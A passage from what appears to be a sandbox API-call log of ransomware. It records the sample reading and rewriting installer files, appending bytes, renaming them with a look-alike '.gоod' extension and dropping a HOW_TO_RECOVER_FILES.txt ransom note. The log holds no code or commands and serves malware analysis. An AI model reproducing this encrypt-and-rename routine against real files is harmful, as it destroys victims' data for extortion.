lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1036\\eula.rtf.gоod", lpFilePart=0x0) returned 0x28 [0092.879] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0092.879] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x3391f1b1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xdd0)) returned 1 [0092.879] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0092.879] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.gоod" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf.gоod")) returned 1 [0093.988] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0093.988] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0093.988] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x3505b18 | out: lpFileInformation=0x3505b18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x14412)) returned 1 [0093.989] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0093.989] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0093.989] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0093.989] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c0 [0093.989] GetFileType (hFile=0x7c0) returned 0x1 [0093.989] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0093.989] GetFileType (hFile=0x7c0) returned 0x1 [0093.989] SetFilePointer (in: hFile=0x7c0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x1000 [0093.989] ReadFile (in: hFile=0x7c0, lpBuffer=0x3505ee0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edcc8, lpOverlapped=0x0 | out: lpBuffer=0x3505ee0*, lpNumberOfBytesRead=0x1f6edcc8*=0x1000, lpOverlapped=0x0) returned 1 [0093.991] CloseHandle (hObject=0x7c0) returned 1 [0093.991] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0093.991] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0093.991] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c0 [0093.991] GetFileType (hFile=0x7c0) returned 0x1 [0093.991] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0093.991] GetFileType (hFile=0x7c0) returned 0x1 [0093.991] SetFilePointer (in: hFile=0x7c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x14412 [0093.992] WriteFile (in: hFile=0x7c0, lpBuffer=0x3509490*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6edbe8, lpOverlapped=0x0 | out: lpBuffer=0x3509490*, lpNumberOfBytesWritten=0x1f6edbe8*=0x10, lpOverlapped=0x0) returned 1 [0094.054] CloseHandle (hObject=0x7c0) returned 1 [0094.057] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0094.063] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0094.063] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c0 [0094.067] GetFileType (hFile=0x7c0) returned 0x1 [0094.067] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0094.070] GetFileType (hFile=0x7c0) returned 0x1 [0094.070] ReadFile (in: hFile=0x7c0, lpBuffer=0x3521820, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc78, lpOverlapped=0x0 | out: lpBuffer=0x3521820*, lpNumberOfBytesRead=0x1f6edc78*=0x1000, lpOverlapped=0x0) returned 1 [0094.534] CloseHandle (hObject=0x7c0) returned 1 [0094.534] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0094.534] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0094.534] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c0 [0094.535] GetFileType (hFile=0x7c0) returned 0x1 [0094.535] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0094.535] GetFileType (hFile=0x7c0) returned 0x1 [0094.535] WriteFile (in: hFile=0x7c0, lpBuffer=0x35205a0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6edd28, lpOverlapped=0x0 | out: lpBuffer=0x35205a0*, lpNumberOfBytesWritten=0x1f6edd28*=0x1010, lpOverlapped=0x0) returned 1 [0094.535] CloseHandle (hObject=0x7c0) returned 1 [0094.535] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0094.535] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.gоod", lpFilePart=0x0) returned 0x31 [0094.535] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0094.535] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x348e8075, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x14422)) returned 1 [0094.535] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0094.535] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.gоod" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml.gоod")) returned 1 [0094.536] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ed940, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1036\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x33 [0094.536] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ede60) returned 1 [0094.536] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\588bce7c90097ed212\\1036\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7c0 [0094.536] GetFileType (hFile=0x7c0) returned 0x1 [0094.536] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddd0) returned 1 [0094.537] GetFileType (hFile=0x7c0) returned 0x1 [0094.537] WriteFile (in: hFile=0x7c0, lpBuffer=0x3734018*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6edf28, lpOverlapped=0x0 | out: lpBuffer=0x3734018*, lpNumberOfBytesWritten=0x1f6edf28*=0x5d0, lpOverlapped=0x0) returned 1 [0094.538] CloseHandle (hObject=0x7c0) returned 1 [0094.538] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0094.538] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1037", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1037", lpFilePart=0x0) returned 0x1a [0094.539] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0094.539] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.539] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0094.539] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1198c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0094.539] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0094.539] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0094.540] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0094.540] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0094.540] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0094.540] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0094.540] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1037", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1037", lpFilePart=0x0) returned 0x1a [0094.540] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0094.540] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.540] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0094.540] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1198c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0094.541] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0094.541] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0094.541] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0094.541] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0094.541] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0094.541] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1037\\eula.rtf", lpFilePart=0x0) returned 0x23 [0094.541] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0094.541] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0x37432a0 | out: lpFileInformation=0x37432a0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1ac3)) returned 1 [0094.541] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0094.541] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1037\\eula.rtf", lpFilePart=0x0) returned 0x23 [0094.541] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0094.541] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c0 [0094.542] GetFileType (hFile=0x7c0) returned 0x1 [0094.542] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0094.542] GetFileType (hFile=0x7c0) returned 0x1 [0094.542] SetFilePointer (in: hFile=0x7c0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x1000 [0094.542] ReadFile (in: hFile=0x7c0, lpBuffer=0x3743618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edcc8, lpOverlapped=0x0 | out: lpBuffer=0x3743618*, lpNumberOfBytesRead=0x1f6edcc8*=0xac3, lpOverlapped=0x0) returned 1 [0094.543] CloseHandle (hObject=0x7c0) returned 1 [0094.543] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1037\\eula.rtf", lpFilePart=0x0) returned 0x23 [0094.543] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0094.543] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c0 [0094.544] GetFileType (hFile=0x7c0) returned 0x1 [0094.544] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0094.544] GetFileType (hFile=0x7c0) returned 0x1 [0094.544] SetFilePointer (in: hFile=0x7c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x1ac3 [0094.544] WriteFile (in: hFile=0x7c0, lpBuffer=0x3744860*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6edbe8, lpOverlapped=0x0 | out: lpBuffer=0x3744860*, lpNumberOfBytesWritten=0x1f6edbe8*=0x10, lpOverlapped=0x0) returned 1 [0094.544] CloseHandle (hObject=0x7c0) returned 1 [0094.544] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1037\\eula.rtf", lpFilePart=0x0) returned 0x23 [0094.544] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0094.544] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c0 [0094.544] GetFileType (hFile=0x7c0) returned 0x1 [0094.544] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0094.544] GetFileType (hFile=0x7c0) returned 0x1 [0094.545] ReadFile (in: hFile=0x7c0, lpBuffer=0x3746ad0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc78, lpOverlapped=0x0 | out: lpBuffer=0x3746ad0*, lpNumberOfBytesRead=0x1f6edc78*=0x1000, lpOverlapped=0x0) returned 1 [0094.786] CloseHandle (hObject=0x7c0) returned 1 [0094.786] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1037\\eula.rtf", lpFilePart=0x0) returned 0x23 [0094.786] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0094.786] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c0 [0094.786] GetFileType (hFile=0x7c0) returned 0x1 [0094.786] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0094.786] GetFileType (hFile=0x7c0) returned 0x1 [0094.786] WriteFile (in: hFile=0x7c0, lpBuffer=0x3467198*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6edd28, lpOverlapped=0x0 | out: lpBuffer=0x3467198*, lpNumberOfBytesWritten=0x1f6edd28*=0x1010, lpOverlapped=0x0) returned 1 [0095.099] CloseHandle (hObject=0x7c0) returned 1 [0095.099] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1037\\eula.rtf", lpFilePart=0x0) returned 0x23 [0095.099] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1037\\eula.rtf.gоod", lpFilePart=0x0) returned 0x28 [0095.099] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0095.099] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x34e45286, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1ad3)) returned 1 [0095.099] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0095.099] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.gоod" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf.gоod")) returned 1 [0095.101] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0095.101] SetThreadErrorMode (dwNewMode=0x1, 